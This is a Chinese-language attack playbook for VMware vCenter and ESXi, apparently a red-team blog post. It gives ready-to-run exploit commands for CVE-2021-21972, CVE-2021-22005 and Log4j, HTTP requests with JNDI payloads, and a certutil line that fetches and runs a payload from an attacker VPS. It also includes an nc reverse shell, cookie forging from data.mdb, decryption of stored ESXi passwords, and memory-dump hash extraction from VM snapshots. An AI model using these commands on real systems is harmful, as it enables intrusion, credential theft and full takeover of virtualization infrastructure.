VMware Inc. 是一家軟件公司。它開發了許多產品,尤其是各種云解決方案 。他的云解決方案包括云產品,數據中心產品和桌面產品等。

vSphere 是在數據中心產品下的一套軟件。vSphere 類似微軟的 Office 辦公套件,Office 辦公套件包含了許多軟件如Word, Excel, Access 等。和 Office 一樣,vSphere 也是一個軟件的集合。他包括了 vCenter, ESXi 和 vSphere 等。所以,這些軟件聯合起來就是 vSphere。vSphere 不是一個你可以安裝使用的軟件。它只是一個包含其它組件的集合。

ESXi, vSphere client 和 vCeneter 都是 vSphere 的組件。ESXi是 vSphere 中最重要的一個組件。ESXi 是虛擬化服務。所有的虛擬機都是運行在 ESXi 服務上面。為了安裝,管理和訪問這些虛擬機,你需要另外的 vSphere 套件,也就是 vSphere client 或 vCenter。vSphere client允許管理員訪問 ESXi 服務并管理虛擬機。vSphere client 是安裝在客戶機(也就是管理員的筆記本)上面。vSphere client 被用來連接 ESXi 服務器和管理任務。那么什么是 vCenter?為什么虛擬它?嘗試下在沒有 vCenter server 的時候,只用 vSphere client 來克隆存在的虛擬機。

0x01 指紋特征

title="+ ID_VC_Welcome +"

0x02 查看Vcenter版本

/sdk/vimServiceVersions.xml

0x03 CVE-2021-21972

影響范圍

  • vCenter Server7.0 < 7.0.U1c
  • vCenter Server6.7 < 6.7.U3l
  • vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadova

訪問上面的路徑,如果404,則代表不存在漏洞,如果405 則可能存在漏洞

windows機器:

漏洞利用:https://github.com/horizon3ai/CVE-2021-21972

python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
-t (目標地址)
-f (上傳的文件)
-p (上傳后的webshell路徑,默認不用改)

上傳后的路徑為

https://x.x.x.x/statsreport/gsl.jsp

完整路徑為

C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Linux機器:

1、寫公私鑰(需要22端口開放)

python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub

2、遍歷寫shell(時間較久)

https://github.com/NS-Sp4ce/CVE-2021-21972

0x04 CVE-2021-22005

影響范圍

  • vCenter Server 7.0 < 7.0 U2c build-18356314
  • vCenter Server 6.7 < 6.7 U3o build-18485166
  • Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
  • Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
  • 6.7 vCenters Windows版本不受影響

漏洞利用

https://github.com/r0ckysec/CVE-2021-22005

cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py

python cve-2021-22005.py -t https://x.x.x.x

連接webshell

https://x.x.x.x/idm/..;/test.jsp

上傳后的webshell完整路徑為

/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp

0x05 CVE-2021-44228

利用log4j漏洞,漏洞觸發點為XFF頭部

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

DNSlog探測漏洞是否存在

X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

使用 JNDIExploit 工具,-u 查看可執行命令

漏洞利用:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:

cs上線

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Linux使用反彈shell命令

nc -e /bin/sh 10.10.10.10 8888
nc -lvp 8888

彈回來若是非交互式shell沒有回顯,使用以下命令切換為交互式

python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

0x06 獲取vcenter-web控制臺權限

重置密碼

比較快的一種方法,但是修改之后無法獲取原來的密碼,管理員會發現密碼被改

選擇 3 選項,輸入默認 administrator@vsphere.local (需要管理員權限)

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 
#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

cookie登錄

通過解密數據庫登錄獲取cookie,再用cookie登錄web

解密腳本:https://github.com/horizon3ai/vcenter_saml_login

python vcenter_saml_login.py -p data.mdb -t 10.9.16.11 

然后會生成相應的cookie,訪問 ui 路徑進行 cookie 替換即可

#Linux
/storage/db/vmware-vmdir/data.mdb
#windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

使用小餅干替換cookie,成功登錄

windows運行腳本需要安裝對應版本的python-ldap

https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1
pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl
pip install -r requirements.txt

實際測試過程中發現windows的data.mdb文件過大,拉回來不是那么方便,適合Linux機器

這時候如果目標機器上裝有python環境,可使用3gstudent師傅的腳本進行利用

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

python vCenter_ExtraCertFromMdb.py data.mdb

運行腳本會生成三段證書文件,放置到相應的位置

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

不重置獲取密碼(ESXI)

查看域

#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

坑點:由于路徑中間存在空格,導致識別不了

解決方法:使用雙引號對含有空格的路徑進行單獨處理

1、獲取解密key

#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat

2、獲取數據庫賬號密碼

vcenter默認數據庫文件存放在vcdb.properties,配置文件中有數據庫的明文賬號密碼

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties
#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

默認是postgresql數據庫,只能在vCenter服務器本地登錄,執行語句查詢ESXI的密碼

#psql默認存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql
#執行語句查詢
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
#執行完會輸出一段加密字段
Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
Shell access is granted to root
Password for user vc: 
ip_address  | user_name |                                         password                                      
-------------+-----------+---------------------------------------------------------------------------------------
192.168.1.1 | vpxuser   | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
192.168.1.2 | vpxuser   | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
192.168.1.3 | vpxuser   | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
192.168.1.4 | vpxuser   | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
(4 rows)
#只保留password字段
*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==
*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==
*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==
*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==

在實際情況中也碰到使用 MSSQL 數據庫的情況,這時候直接使用 navicat 進行連接,搜索 VPX_HOST 表

3、使用腳本解密

https://github.com/shmilylty/vhost_password_decrypt

  • password字段放到password.enc里面
  • symkey.dat為第一步獲取的解密key

python decrypt.py symkey.dat password.enc password.txt

執行腳本后,會輸出一個password.txt,里面存放著對應 ip_address 的 ESXI 機器密碼

4、登錄ESXI

在 ESXI 機器地址后面添加 /ui ,訪問web控制臺,賬密為 vpxuser/password.txt里的密碼

解密出來的密碼除了可以登錄web控制臺以外還可以ssh登錄機器,不過需要服務里開啟 SSH 安全shell

0x07 獲取虛擬機權限

登錄web控制臺后,想要獲取某個虛擬機的權限,比如說目標系統為靶標

選擇目標虛擬機,操作生成快照

到數據存儲位置找到相應的快照文件

也可以通過 ssh 登錄ESXI服務器上,通過 find 找出相應的 vmem 和 vmsn 文件拷貝到本地

find / -name "*.vmem"

https://www.volatilityfoundation.org/releases

使用 volatility 工具查看 profile

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

讀取注冊表

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

獲取hash并解出密碼

volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010